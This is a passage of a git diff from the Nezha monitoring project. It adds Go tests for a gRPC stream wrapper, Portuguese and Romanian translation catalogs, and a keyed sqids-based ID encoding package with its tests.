maxInFlight > 1. +type sendObservingStream struct { + inFlight int32 + maxInFlight int32 +} + +func (s *sendObservingStream) Recv() (*proto.IOStreamData, error) { return nil, nil } +func (s *sendObservingStream) Context() context.Context { return context.Background() } +func (s *sendObservingStream) Send(*proto.IOStreamData) error { + cur := atomic.AddInt32(&s.inFlight, 1) + defer atomic.AddInt32(&s.inFlight, -1) + for { + prev := atomic.LoadInt32(&s.maxInFlight) + if cur <= prev || atomic.CompareAndSwapInt32(&s.maxInFlight, prev, cur) { + break + } + } + return nil +} + +// IOStreamWrapper.Send and SendKeepalive must be safe to call from many +// goroutines concurrently — this is the dashboard-side dual of the agent's +// serialIOStreamSender (see agent/cmd/agent/mcp_fs_transfer.go). Without the +// wrapper's sendMu, dashboard IOStream keepalive + MCP fs.transfer Write +// race the same gRPC stream, violating grpc-go's "no concurrent SendMsg" +// contract. We pin that with a stress test: many goroutines hammer Send / +// SendKeepalive / Write at once; the fake stream must NEVER observe more +// than one in-flight Send. +func TestIOStreamWrapper_SerializesConcurrentSends(t *testing.T) { + obs := &sendObservingStream{} + iw := NewIOStreamWrapper(obs) + + const workers = 16 + const opsPerWorker = 200 + var wg sync.WaitGroup + wg.Add(workers) + for i := 0; i < workers; i++ { + go func(seed int) { + defer wg.Done() + for j := 0; j < opsPerWorker; j++ { + switch (seed + j) % 3 { + case 0: + _ = iw.Send(&proto.IOStreamData{Data: []byte{byte(seed)}}) + case 1: + _ = iw.SendKeepalive() + case 2: + _, _ = iw.Write([]byte{byte(j)}) + } + } + }(i) + } + wg.Wait() + + if got := atomic.LoadInt32(&obs.maxInFlight); got != 1 { + t.Fatalf("IOStreamWrapper.Send must serialize through sendMu; observed max-in-flight=%d, want 1", got) + } +} diff --git a/pkg/grpcx/io_stream_wrapper_test.go b/pkg/grpcx/io_stream_wrapper_test.go new file mode 100644 index 00000000..b9d4913c --- /dev/null +++ b/pkg/grpcx/io_stream_wrapper_test.go @@ -0,0 +1,106 @@ +package grpcx + +import ( + "context" + "errors" + "io" + "testing" + "time" + + "github.com/nezhahq/nezha/proto" +) + +type fakeStream struct { + frames []*proto.IOStreamData + err error +} + +func (f *fakeStream) Recv() (*proto.IOStreamData, error) { + if len(f.frames) == 0 { + if f.err != nil { + return nil, f.err + } + return nil, io.EOF + } + frame := f.frames[0] + f.frames = f.frames[1:] + return frame, nil +} + +func (f *fakeStream) Send(*proto.IOStreamData) error { return nil } +func (f *fakeStream) Context() context.Context { return context.Background() } + +// Heartbeat frames sent by the agent (ioStreamKeepAlive in +// agent/cmd/agent/main.go) carry an empty Data. The previous wrapper +// surfaced them to callers as (n=0, nil), which made +// mcp_transfer.readXferFixedHeader return "frame too short". This test +// pins the contract: empty frames are transparently skipped and Read +// only returns when it has either real bytes or an error. +func TestIOStreamWrapper_ReadSkipsHeartbeats(t *testing.T) { + stream := &fakeStream{ + frames: []*proto.IOStreamData{ + {Data: []byte{}}, + {Data: []byte{}}, + {Data: []byte("hello")}, + }, + } + iw := NewIOStreamWrapper(stream) + buf := make([]byte, 16) + n, err := iw.Read(buf) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if n != 5 || string(buf[:n]) != "hello" { + t.Fatalf("expected 5 bytes 'hello', got n=%d data=%q", n, buf[:n]) + } +} + +// A stream that only ever sends heartbeats followed by an error must +// surface the error rather than spin forever or hand the caller (0, nil). +func TestIOStreamWrapper_ReadPropagatesErrorAfterHeartbeats(t *testing.T) { + wantErr := errors.New("stream closed") + stream := &fakeStream{ + frames: []*proto.IOStreamData{ + {Data: []byte{}}, + {Data: []byte{}}, + }, + err: wantErr, + } + iw := NewIOStreamWrapper(stream) + buf := make([]byte, 8) + n, err := iw.Read(buf) + if err == nil { + t.Fatalf("expected error after heartbeats + Recv failure") + } + if !errors.Is(err, wantErr) { + t.Fatalf("expected wrapped error %v, got %v", wantErr, err) + } + if n != 0 { + t.Fatalf("expected n=0 on error, got %d", n) + } +} + +// Close() must wake anything waiting on Done() immediately so co-running +// goroutines (e.g. the dashboard's IOStream keepalive ticker) can exit +// without waiting for the underlying gRPC stream context to cancel or for +// their next Send to fail. +func TestIOStreamWrapper_DoneFiresOnClose(t *testing.T) { + iw := NewIOStreamWrapper(&fakeStream{}) + select { + case <-iw.Done(): + t.Fatalf("Done() must not fire before Close()") + default: + } + if err := iw.Close(); err != nil { + t.Fatalf("Close: %v", err) + } + select { + case <-iw.Done(): + case <-time.After(time.Second): + t.Fatalf("Done() did not fire after Close()") + } + // Idempotent: a second Close must not panic on the closed channel. + if err := iw.Close(); err != nil { + t.Fatalf("second Close: %v", err) + } +} diff --git a/pkg/i18n/translations/pt_BR/LC_MESSAGES/nezha.mo b/pkg/i18n/translations/pt_BR/LC_MESSAGES/nezha.mo new file mode 100644 index 00000000..efaf5818 Binary files /dev/null and b/pkg/i18n/translations/pt_BR/LC_MESSAGES/nezha.mo differ diff --git a/pkg/i18n/translations/pt_BR/LC_MESSAGES/nezha.po b/pkg/i18n/translations/pt_BR/LC_MESSAGES/nezha.po new file mode 100644 index 00000000..7d975655 --- /dev/null +++ b/pkg/i18n/translations/pt_BR/LC_MESSAGES/nezha.po @@ -0,0 +1,323 @@ +# SOME DESCRIPTIVE TITLE. +# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER +# This file is distributed under the same license as the PACKAGE package. +# FIRST AUTHOR , YEAR. +# +msgid "" +msgstr "" +"Project-Id-Version: PACKAGE VERSION\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2025-01-30 21:58+0800\n" +"PO-Revision-Date: 2026-08-12 05:39+0000\n" +"Last-Translator: ace-consultoria \n" +"Language-Team: Portuguese (Brazil) \n" +"Language: pt_BR\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"Plural-Forms: nplurals=2; plural=n > 1;\n" +"X-Generator: Weblate 2026.9.dev0\n" + +#: cmd/dashboard/controller/alertrule.go:104 +#, c-format +msgid "alert id %d does not exist" +msgstr "alerta id %d não existe" + +#: cmd/dashboard/controller/alertrule.go:108 +#: cmd/dashboard/controller/alertrule.go:156 +#: cmd/dashboard/controller/alertrule.go:176 +#: cmd/dashboard/controller/controller.go:226 +#: cmd/dashboard/controller/cron.go:58 cmd/dashboard/controller/cron.go:124 +#: cmd/dashboard/controller/cron.go:136 cmd/dashboard/controller/cron.go:195 +#: cmd/dashboard/controller/cron.go:224 cmd/dashboard/controller/ddns.go:131 +#: cmd/dashboard/controller/ddns.go:192 cmd/dashboard/controller/fm.go:43 +#: cmd/dashboard/controller/nat.go:59 cmd/dashboard/controller/nat.go:111 +#: cmd/dashboard/controller/nat.go:122 cmd/dashboard/controller/nat.go:162 +#: cmd/dashboard/controller/notification.go:112 +#: cmd/dashboard/controller/notification.go:166 +#: cmd/dashboard/controller/notification_group.go:76 +#: cmd/dashboard/controller/notification_group.go:152 +#: cmd/dashboard/controller/notification_group.go:164 +#: cmd/dashboard/controller/notification_group.go:233 +#: cmd/dashboard/controller/server.go:66 cmd/dashboard/controller/server.go:78 +#: cmd/dashboard/controller/server.go:137 +#: cmd/dashboard/controller/server.go:201 +#: cmd/dashboard/controller/server_group.go:75 +#: cmd/dashboard/controller/server_group.go:150 +#: cmd/dashboard/controller/server_group.go:229 +#: cmd/dashboard/controller/service.go:271 +#: cmd/dashboard/controller/service.go:342 +#: cmd/dashboard/controller/service.go:369 +#: cmd/dashboard/controller/terminal.go:41 +msgid "permission denied" +msgstr "permissão negada" + +#: cmd/dashboard/controller/alertrule.go:184 +msgid "duration need to be at least 3" +msgstr "duração precisa ser pelo menos 3" + +#: cmd/dashboard/controller/alertrule.go:188 +msgid "cycle_interval need to be at least 1" +msgstr "cycle_interval precisa ser pelo menos 1" + +#: cmd/dashboard/controller/alertrule.go:191 +msgid "cycle_start is not set" +msgstr "cycle_start não está definido" + +#: cmd/dashboard/controller/alertrule.go:194 +msgid "cycle_start is a future value" +msgstr "cycle_start é um valor futuro" + +#: cmd/dashboard/controller/alertrule.go:199 +msgid "need to configure at least a single rule" +msgstr "necessário configurar pelo menos uma única regra" + +#: cmd/dashboard/controller/controller.go:220 +#: cmd/dashboard/controller/oauth2.go:153 +#: cmd/dashboard/controller/server_group.go:162 +#: cmd/dashboard/controller/service.go:97 cmd/dashboard/controller/user.go:27 +#: cmd/dashboard/controller/user.go:63 +msgid "unauthorized" +msgstr "não autorizado" + +#: cmd/dashboard/controller/controller.go:243 +msgid "database error" +msgstr "erro de banco de dados" + +#: cmd/dashboard/controller/cron.go:75 cmd/dashboard/controller/cron.go:149 +msgid "scheduled tasks cannot be triggered by alarms" +msgstr "tarefas agendadas não podem ser desencadeadas por alarmes" + +#: cmd/dashboard/controller/cron.go:132 cmd/dashboard/controller/cron.go:190 +#, c-format +msgid "task id %d does not exist" +msgstr "a tarefa id %d não existe" + +#: cmd/dashboard/controller/ddns.go:57 cmd/dashboard/controller/ddns.go:122 +msgid "the retry count must be an integer between 1 and 10" +msgstr "a contagem de repetições deve ser um inteiro entre 1 e 10" + +#: cmd/dashboard/controller/ddns.go:81 cmd/dashboard/controller/ddns.go:154 +#, fuzzy +msgid "error parsing %s: %v" +msgstr "erro ao analisar %s: %v" + +#: cmd/dashboard/controller/ddns.go:127 cmd/dashboard/controller/nat.go:118 +#, c-format +msgid "profile id %d does not exist" +msgstr "perfil id %d não existe" + +#: cmd/dashboard/controller/fm.go:39 cmd/dashboard/controller/terminal.go:37 +msgid "server not found or not connected" +msgstr "servidor não encontrado ou não conectado" + +#: cmd/dashboard/controller/notification.go:69 +#: cmd/dashboard/controller/notification.go:131 +msgid "a test message" +msgstr "uma mensagem de teste" + +#: cmd/dashboard/controller/notification.go:108 +#, c-format +msgid "notification id %d does not exist" +msgstr "notificação id %d não existe" + +#: cmd/dashboard/controller/notification_group.go:94 +#: cmd/dashboard/controller/notification_group.go:175 +msgid "have invalid notification id" +msgstr "há um id de notificação inválido" + +#: cmd/dashboard/controller/notification_group.go:160 +#: cmd/dashboard/controller/server_group.go:158 +#, c-format +msgid "group id %d does not exist" +msgstr "grupo id %d não existe" + +#: cmd/dashboard/controller/oauth2.go:42 cmd/dashboard/controller/oauth2.go:83 +msgid "provider is required" +msgstr "o provedor é necessário" + +#: cmd/dashboard/controller/oauth2.go:52 cmd/dashboard/controller/oauth2.go:87 +#: cmd/dashboard/controller/oauth2.go:132 +msgid "provider not found" +msgstr "provedor não encontrado" + +#: cmd/dashboard/controller/oauth2.go:100 +msgid "operation not permitted" +msgstr "operação não permitida" + +#: cmd/dashboard/controller/oauth2.go:138 +msgid "code is required" +msgstr "o código é necessário" + +#: cmd/dashboard/controller/oauth2.go:175 +msgid "oauth2 user not binded yet" +msgstr "usuário oauth2 ainda não está vinculado" + +#: cmd/dashboard/controller/oauth2.go:217 +#: cmd/dashboard/controller/oauth2.go:223 +#: cmd/dashboard/controller/oauth2.go:228 +msgid "invalid state key" +msgstr "chave de estado inválida" + +#: cmd/dashboard/controller/server.go:74 +#, c-format +msgid "server id %d does not exist" +msgstr "servidor id %d não existe" + +#: cmd/dashboard/controller/server.go:250 +#, fuzzy +msgid "operation timeout" +msgstr "tempo de espera esgotado" + +#: cmd/dashboard/controller/server.go:257 +msgid "get server config failed: %v" +msgstr "falha em obter a configuração do servidor: %v" + +#: cmd/dashboard/controller/server.go:261 +msgid "get server config failed" +msgstr "falha em obter a configuração do servidor" + +#: cmd/dashboard/controller/server_group.go:92 +#: cmd/dashboard/controller/server_group.go:172 +msgid "have invalid server id" +msgstr "há um id de servidor inválido" + +#: cmd/dashboard/controller/service.go:90 +#: cmd/dashboard/controller/service.go:165 +msgid "server not found" +msgstr "servidor não encontrado" + +#: cmd/dashboard/controller/service.go:267 +#, c-format +msgid "service id %d does not exist" +msgstr "serviço id %d não existe" + +#: cmd/dashboard/controller/user.go:68 +msgid "incorrect password" +msgstr "senha incorreta" + +#: cmd/dashboard/controller/user.go:82 +msgid "you don't have any oauth2 bindings" +msgstr "você não tem nenhuma ligação oauth2 vinculada" + +#: cmd/dashboard/controller/user.go:131 +msgid "password length must be greater than 6" +msgstr "comprimento da senha deve ser maior que 6" + +#: cmd/dashboard/controller/user.go:134 +msgid "username can't be empty" +msgstr "nome de usuário não pode estar vazio" + +#: cmd/dashboard/controller/user.go:137 +msgid "invalid role" +msgstr "função inválida" + +#: cmd/dashboard/controller/user.go:176 +#, fuzzy +msgid "can't delete yourself" +msgstr "você não pode se apagar" + +#: service/rpc/io_stream.go:128 +msgid "timeout: no connection established" +msgstr "tempo esgotado: nenhuma conexão estabelecida" + +#: service/rpc/io_stream.go:131 +msgid "timeout: user connection not established" +msgstr "tempo esgotado: conexão de usuário não estabelecida" + +#: service/rpc/io_stream.go:134 +msgid "timeout: agent connection not established" +msgstr "tempo esgotado: conexão de agente não estabelecida" + +#: service/rpc/nezha.go:71 +msgid "Scheduled Task Executed Successfully" +msgstr "Tarefa agendada Executada com sucesso" + +#: service/rpc/nezha.go:75 +msgid "Scheduled Task Executed Failed" +msgstr "Falha ao executar tarefa agendada" + +#: service/rpc/nezha.go:274 +msgid "IP Changed" +msgstr "IP alterado" + +#: service/singleton/alertsentinel.go:169 +msgid "Incident" +msgstr "Incidente" + +#: service/singleton/alertsentinel.go:179 +msgid "Resolved" +msgstr "Resolvido" + +#: service/singleton/crontask.go:54 +msgid "Tasks failed to register: [" +msgstr "As tarefas não foram registradas: [" + +#: service/singleton/crontask.go:61 +msgid "" +"] These tasks will not execute properly. Fix them in the admin dashboard." +msgstr "" +"] Essas tarefas não serão executadas corretamente. Conserte as no painel de " +"administração." + +#: service/singleton/crontask.go:144 service/singleton/crontask.go:169 +#, c-format +msgid "[Task failed] %s: server %s is offline and cannot execute the task" +msgstr "" +"[Tarefa falhou] %s: servidor %s está offline e não pode executar a tarefa" + +#: service/singleton/servicesentinel.go:468 +#, c-format +msgid "[Latency] %s %2f > %2f, Reporter: %s" +msgstr "[Latência] %s %2f > %2f, Reportado por: %s" + +#: service/singleton/servicesentinel.go:475 +#, c-format +msgid "[Latency] %s %2f < %2f, Reporter: %s" +msgstr "[Latência] %s %2f < %2f, Reportado por: %s" + +#: service/singleton/servicesentinel.go:501 +#, c-format +msgid "[%s] %s Reporter: %s, Error: %s" +msgstr "[%s] %s Reportado por: %s, Erro: %s" + +#: service/singleton/servicesentinel.go:544 +#, c-format +msgid "[TLS] Fetch cert info failed, Reporter: %s, Error: %s" +msgstr "" +"[TLS] Erro ao obter informações do certificado, Reportado por: %s, Erro: %s" + +#: service/singleton/servicesentinel.go:584 +#, c-format +msgid "The TLS certificate will expire within seven days. Expiration time: %s" +msgstr "O certificado TLS expirará dentro de sete dias. Tempo de expiração: %s" + +#: service/singleton/servicesentinel.go:597 +#, c-format +msgid "" +"TLS certificate changed, old: issuer %s, expires at %s; new: issuer %s, " +"expires at %s" +msgstr "" +"Certificado TLS foi alterado, antigo: emissor %s, expira em %s; novo: " +"emissor %s, expira em %s" + +#: service/singleton/servicesentinel.go:633 +msgid "No Data" +msgstr "Sem dados" + +#: service/singleton/servicesentinel.go:635 +msgid "Good" +msgstr "Bom" + +#: service/singleton/servicesentinel.go:637 +msgid "Low Availability" +msgstr "Baixa disponibilidade" + +#: service/singleton/servicesentinel.go:639 +msgid "Down" +msgstr "Down" + +#: service/singleton/user.go:60 +msgid "user id not specified" +msgstr "id do usuário não especificado" diff --git a/pkg/i18n/translations/ro_RO/LC_MESSAGES/nezha.mo b/pkg/i18n/translations/ro_RO/LC_MESSAGES/nezha.mo new file mode 100644 index 00000000..c25c7856 Binary files /dev/null and b/pkg/i18n/translations/ro_RO/LC_MESSAGES/nezha.mo differ diff --git a/pkg/i18n/translations/ro_RO/LC_MESSAGES/nezha.po b/pkg/i18n/translations/ro_RO/LC_MESSAGES/nezha.po new file mode 100644 index 00000000..d0bb6396 --- /dev/null +++ b/pkg/i18n/translations/ro_RO/LC_MESSAGES/nezha.po @@ -0,0 +1,313 @@ +# SOME DESCRIPTIVE TITLE. +# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER +# This file is distributed under the same license as the PACKAGE package. +# FIRST AUTHOR , YEAR. +# +msgid "" +msgstr "" +"Project-Id-Version: PACKAGE VERSION\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2025-01-30 21:58+0800\n" +"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" +"Last-Translator: Automatically generated\n" +"Language-Team: none\n" +"Language: ro\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"Plural-Forms: nplurals=3; plural=n==1 ? 0 : (n==0 || (n%100 > 0 && n%100 < " +"20)) ? 1 : 2;\n" + +#: cmd/dashboard/controller/alertrule.go:104 +#, c-format +msgid "alert id %d does not exist" +msgstr "" + +#: cmd/dashboard/controller/alertrule.go:108 +#: cmd/dashboard/controller/alertrule.go:156 +#: cmd/dashboard/controller/alertrule.go:176 +#: cmd/dashboard/controller/controller.go:226 +#: cmd/dashboard/controller/cron.go:58 cmd/dashboard/controller/cron.go:124 +#: cmd/dashboard/controller/cron.go:136 cmd/dashboard/controller/cron.go:195 +#: cmd/dashboard/controller/cron.go:224 cmd/dashboard/controller/ddns.go:131 +#: cmd/dashboard/controller/ddns.go:192 cmd/dashboard/controller/fm.go:43 +#: cmd/dashboard/controller/nat.go:59 cmd/dashboard/controller/nat.go:111 +#: cmd/dashboard/controller/nat.go:122 cmd/dashboard/controller/nat.go:162 +#: cmd/dashboard/controller/notification.go:112 +#: cmd/dashboard/controller/notification.go:166 +#: cmd/dashboard/controller/notification_group.go:76 +#: cmd/dashboard/controller/notification_group.go:152 +#: cmd/dashboard/controller/notification_group.go:164 +#: cmd/dashboard/controller/notification_group.go:233 +#: cmd/dashboard/controller/server.go:66 cmd/dashboard/controller/server.go:78 +#: cmd/dashboard/controller/server.go:137 +#: cmd/dashboard/controller/server.go:201 +#: cmd/dashboard/controller/server_group.go:75 +#: cmd/dashboard/controller/server_group.go:150 +#: cmd/dashboard/controller/server_group.go:229 +#: cmd/dashboard/controller/service.go:271 +#: cmd/dashboard/controller/service.go:342 +#: cmd/dashboard/controller/service.go:369 +#: cmd/dashboard/controller/terminal.go:41 +msgid "permission denied" +msgstr "" + +#: cmd/dashboard/controller/alertrule.go:184 +msgid "duration need to be at least 3" +msgstr "" + +#: cmd/dashboard/controller/alertrule.go:188 +msgid "cycle_interval need to be at least 1" +msgstr "" + +#: cmd/dashboard/controller/alertrule.go:191 +msgid "cycle_start is not set" +msgstr "" + +#: cmd/dashboard/controller/alertrule.go:194 +msgid "cycle_start is a future value" +msgstr "" + +#: cmd/dashboard/controller/alertrule.go:199 +msgid "need to configure at least a single rule" +msgstr "" + +#: cmd/dashboard/controller/controller.go:220 +#: cmd/dashboard/controller/oauth2.go:153 +#: cmd/dashboard/controller/server_group.go:162 +#: cmd/dashboard/controller/service.go:97 cmd/dashboard/controller/user.go:27 +#: cmd/dashboard/controller/user.go:63 +msgid "unauthorized" +msgstr "" + +#: cmd/dashboard/controller/controller.go:243 +msgid "database error" +msgstr "" + +#: cmd/dashboard/controller/cron.go:75 cmd/dashboard/controller/cron.go:149 +msgid "scheduled tasks cannot be triggered by alarms" +msgstr "" + +#: cmd/dashboard/controller/cron.go:132 cmd/dashboard/controller/cron.go:190 +#, c-format +msgid "task id %d does not exist" +msgstr "" + +#: cmd/dashboard/controller/ddns.go:57 cmd/dashboard/controller/ddns.go:122 +msgid "the retry count must be an integer between 1 and 10" +msgstr "" + +#: cmd/dashboard/controller/ddns.go:81 cmd/dashboard/controller/ddns.go:154 +msgid "error parsing %s: %v" +msgstr "" + +#: cmd/dashboard/controller/ddns.go:127 cmd/dashboard/controller/nat.go:118 +#, c-format +msgid "profile id %d does not exist" +msgstr "" + +#: cmd/dashboard/controller/fm.go:39 cmd/dashboard/controller/terminal.go:37 +msgid "server not found or not connected" +msgstr "" + +#: cmd/dashboard/controller/notification.go:69 +#: cmd/dashboard/controller/notification.go:131 +msgid "a test message" +msgstr "" + +#: cmd/dashboard/controller/notification.go:108 +#, c-format +msgid "notification id %d does not exist" +msgstr "" + +#: cmd/dashboard/controller/notification_group.go:94 +#: cmd/dashboard/controller/notification_group.go:175 +msgid "have invalid notification id" +msgstr "" + +#: cmd/dashboard/controller/notification_group.go:160 +#: cmd/dashboard/controller/server_group.go:158 +#, c-format +msgid "group id %d does not exist" +msgstr "" + +#: cmd/dashboard/controller/oauth2.go:42 cmd/dashboard/controller/oauth2.go:83 +msgid "provider is required" +msgstr "" + +#: cmd/dashboard/controller/oauth2.go:52 cmd/dashboard/controller/oauth2.go:87 +#: cmd/dashboard/controller/oauth2.go:132 +msgid "provider not found" +msgstr "" + +#: cmd/dashboard/controller/oauth2.go:100 +msgid "operation not permitted" +msgstr "" + +#: cmd/dashboard/controller/oauth2.go:138 +msgid "code is required" +msgstr "" + +#: cmd/dashboard/controller/oauth2.go:175 +msgid "oauth2 user not binded yet" +msgstr "" + +#: cmd/dashboard/controller/oauth2.go:217 +#: cmd/dashboard/controller/oauth2.go:223 +#: cmd/dashboard/controller/oauth2.go:228 +msgid "invalid state key" +msgstr "" + +#: cmd/dashboard/controller/server.go:74 +#, c-format +msgid "server id %d does not exist" +msgstr "" + +#: cmd/dashboard/controller/server.go:250 +msgid "operation timeout" +msgstr "" + +#: cmd/dashboard/controller/server.go:257 +msgid "get server config failed: %v" +msgstr "" + +#: cmd/dashboard/controller/server.go:261 +msgid "get server config failed" +msgstr "" + +#: cmd/dashboard/controller/server_group.go:92 +#: cmd/dashboard/controller/server_group.go:172 +msgid "have invalid server id" +msgstr "" + +#: cmd/dashboard/controller/service.go:90 +#: cmd/dashboard/controller/service.go:165 +msgid "server not found" +msgstr "" + +#: cmd/dashboard/controller/service.go:267 +#, c-format +msgid "service id %d does not exist" +msgstr "" + +#: cmd/dashboard/controller/user.go:68 +msgid "incorrect password" +msgstr "" + +#: cmd/dashboard/controller/user.go:82 +msgid "you don't have any oauth2 bindings" +msgstr "" + +#: cmd/dashboard/controller/user.go:131 +msgid "password length must be greater than 6" +msgstr "" + +#: cmd/dashboard/controller/user.go:134 +msgid "username can't be empty" +msgstr "" + +#: cmd/dashboard/controller/user.go:137 +msgid "invalid role" +msgstr "" + +#: cmd/dashboard/controller/user.go:176 +msgid "can't delete yourself" +msgstr "" + +#: service/rpc/io_stream.go:128 +msgid "timeout: no connection established" +msgstr "" + +#: service/rpc/io_stream.go:131 +msgid "timeout: user connection not established" +msgstr "" + +#: service/rpc/io_stream.go:134 +msgid "timeout: agent connection not established" +msgstr "" + +#: service/rpc/nezha.go:71 +msgid "Scheduled Task Executed Successfully" +msgstr "" + +#: service/rpc/nezha.go:75 +msgid "Scheduled Task Executed Failed" +msgstr "" + +#: service/rpc/nezha.go:274 +msgid "IP Changed" +msgstr "" + +#: service/singleton/alertsentinel.go:169 +msgid "Incident" +msgstr "" + +#: service/singleton/alertsentinel.go:179 +msgid "Resolved" +msgstr "" + +#: service/singleton/crontask.go:54 +msgid "Tasks failed to register: [" +msgstr "" + +#: service/singleton/crontask.go:61 +msgid "" +"] These tasks will not execute properly. Fix them in the admin dashboard." +msgstr "" + +#: service/singleton/crontask.go:144 service/singleton/crontask.go:169 +#, c-format +msgid "[Task failed] %s: server %s is offline and cannot execute the task" +msgstr "" + +#: service/singleton/servicesentinel.go:468 +#, c-format +msgid "[Latency] %s %2f > %2f, Reporter: %s" +msgstr "" + +#: service/singleton/servicesentinel.go:475 +#, c-format +msgid "[Latency] %s %2f < %2f, Reporter: %s" +msgstr "" + +#: service/singleton/servicesentinel.go:501 +#, c-format +msgid "[%s] %s Reporter: %s, Error: %s" +msgstr "" + +#: service/singleton/servicesentinel.go:544 +#, c-format +msgid "[TLS] Fetch cert info failed, Reporter: %s, Error: %s" +msgstr "" + +#: service/singleton/servicesentinel.go:584 +#, c-format +msgid "The TLS certificate will expire within seven days. Expiration time: %s" +msgstr "" + +#: service/singleton/servicesentinel.go:597 +#, c-format +msgid "" +"TLS certificate changed, old: issuer %s, expires at %s; new: issuer %s, " +"expires at %s" +msgstr "" + +#: service/singleton/servicesentinel.go:633 +msgid "No Data" +msgstr "" + +#: service/singleton/servicesentinel.go:635 +msgid "Good" +msgstr "" + +#: service/singleton/servicesentinel.go:637 +msgid "Low Availability" +msgstr "" + +#: service/singleton/servicesentinel.go:639 +msgid "Down" +msgstr "" + +#: service/singleton/user.go:60 +msgid "user id not specified" +msgstr "" diff --git a/pkg/idcodec/idcodec.go b/pkg/idcodec/idcodec.go new file mode 100644 index 00000000..76f94fc1 --- /dev/null +++ b/pkg/idcodec/idcodec.go @@ -0,0 +1,103 @@ +package idcodec + +import ( + "crypto/hmac" + "crypto/sha256" + "encoding/binary" + "errors" + "io" + "sync" + + "github.com/sqids/sqids-go" + "golang.org/x/crypto/hkdf" +) + +const ( + baseAlphabet = "abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789" + hkdfInfo = "nezha/idcodec/alphabet/v1" + minLength = 8 + minMasterKey = 32 +) + +var ( + ErrNotInitialized = errors.New("idcodec: not initialized") + ErrInvalidCode = errors.New("idcodec: invalid id code") + ErrMasterKeyShort = errors.New("idcodec: master key too short") + + mu sync.RWMutex + encoder *sqids.Sqids +) + +func Init(masterKey []byte) error { + if len(masterKey) < minMasterKey { + return ErrMasterKeyShort + } + alphaKey := make([]byte, 32) + if _, err := io.ReadFull(hkdf.New(sha256.New, masterKey, nil, []byte(hkdfInfo)), alphaKey); err != nil { + return err + } + enc, err := sqids.New(sqids.Options{ + Alphabet: keyedShuffle(baseAlphabet, alphaKey), + MinLength: minLength, + Blocklist: []string{}, + }) + if err != nil { + return err + } + mu.Lock() + encoder = enc + mu.Unlock() + return nil +} + +func Encode(id uint64) (string, error) { + mu.RLock() + enc := encoder + mu.RUnlock() + if enc == nil { + return "", ErrNotInitialized + } + return enc.Encode([]uint64{id}) +} + +func Decode(code string) (uint64, error) { + mu.RLock() + enc := encoder + mu.RUnlock() + if enc == nil { + return 0, ErrNotInitialized + } + nums := enc.Decode(code) + if len(nums) != 1 { + return 0, ErrInvalidCode + } + if got, err := enc.Encode(nums); err != nil || got != code { + return 0, ErrInvalidCode + } + return nums[0], nil +} + +func keyedShuffle(alphabet string, key []byte) string { + runes := []rune(alphabet) + mac := hmac.New(sha256.New, key) + var counter uint64 + var pool []byte + next := func() byte { + if len(pool) == 0 { + buf := make([]byte, 8) + binary.BigEndian.PutUint64(buf, counter) + counter++ + mac.Reset() + mac.Write(buf) + pool = mac.Sum(nil) + } + b := pool[0] + pool = pool[1:] + return b + } + for i := len(runes) - 1; i > 0; i-- { + j := int(next()) % (i + 1) + runes[i], runes[j] = runes[j], runes[i] + } + return string(runes) +} diff --git a/pkg/idcodec/idcodec_test.go b/pkg/idcodec/idcodec_test.go new file mode 100644 index 00000000..0e79a991 --- /dev/null +++ b/pkg/idcodec/idcodec_test.go @@ -0,0 +1,130 @@ +package idcodec + +import ( + "strings" + "sync" + "testing" +) + +const testMasterKey = "this-is-a-32-byte-master-key-ok!" + +func resetEncoder(t *testing.T) { + t.Helper() + mu.Lock() + encoder = nil + mu.Unlock() +} + +func TestEncodeDecodeRoundTrip(t *testing.T) { + resetEncoder(t) + if err := Init([]byte(testMasterKey)); err != nil { + t.Fatalf("Init: %v", err) + } + + cases := []uint64{1, 2, 42, 1_000_000, 1<<63 - 1} + for _, id := range cases { + code, err := Encode(id) + if err != nil { + t.Fatalf("Encode(%d): %v", id, err) + } + if len(code) < minLength { + t.Fatalf("code %q shorter than min %d", code, minLength) + } + got, err := Decode(code) + if err != nil { + t.Fatalf("Decode(%q): %v", code, err) + } + if got != id { + t.Fatalf("round-trip mismatch: got %d, want %d", got, id) + } + } +} + +func TestEncodeBeforeInit(t *testing.T) { + resetEncoder(t) + if _, err := Encode(1); err != ErrNotInitialized { + t.Fatalf("Encode without Init: want ErrNotInitialized, got %v", err) + } + if _, err := Decode("abcdefgh"); err != ErrNotInitialized { + t.Fatalf("Decode without Init: want ErrNotInitialized, got %v", err) + } +} + +func TestInitRejectsShortMasterKey(t *testing.T) { + resetEncoder(t) + if err := Init([]byte("too-short")); err != ErrMasterKeyShort { + t.Fatalf("Init short master key: want ErrMasterKeyShort, got %v", err) + } +} + +func TestDecodeInvalidInputs(t *testing.T) { + resetEncoder(t) + if err := Init([]byte(testMasterKey)); err != nil { + t.Fatalf("Init: %v", err) + } + + for _, code := range []string{"", "@@@@", strings.Repeat("!", 16)} { + if _, err := Decode(code); err == nil { + t.Fatalf("Decode(%q) must fail", code) + } + } +} + +func TestAlphabetChangesWithMasterKey(t *testing.T) { + resetEncoder(t) + if err := Init([]byte(testMasterKey)); err != nil { + t.Fatalf("Init A: %v", err) + } + codeA, err := Encode(42) + if err != nil { + t.Fatalf("Encode A: %v", err) + } + + resetEncoder(t) + if err := Init([]byte(testMasterKey + "rotated-suffix-makes-key-longer!")); err != nil { + t.Fatalf("Init B: %v", err) + } + codeB, err := Encode(42) + if err != nil { + t.Fatalf("Encode B: %v", err) + } + if codeA == codeB { + t.Fatalf("rotating master key must change hashid encoding for the same id; both produced %q", codeA) + } + + if _, err := Decode(codeA); err == nil { + t.Fatalf("after rotation, old hashid %q must not decode under new key", codeA) + } +} + +func TestConcurrentEncodeDecodeIsSafe(t *testing.T) { + resetEncoder(t) + if err := Init([]byte(testMasterKey)); err != nil { + t.Fatalf("Init: %v", err) + } + var wg sync.WaitGroup + for i := 0; i < 16; i++ { + wg.Add(1) + go func(seed uint64) { + defer wg.Done() + for j := uint64(0); j < 1000; j++ { 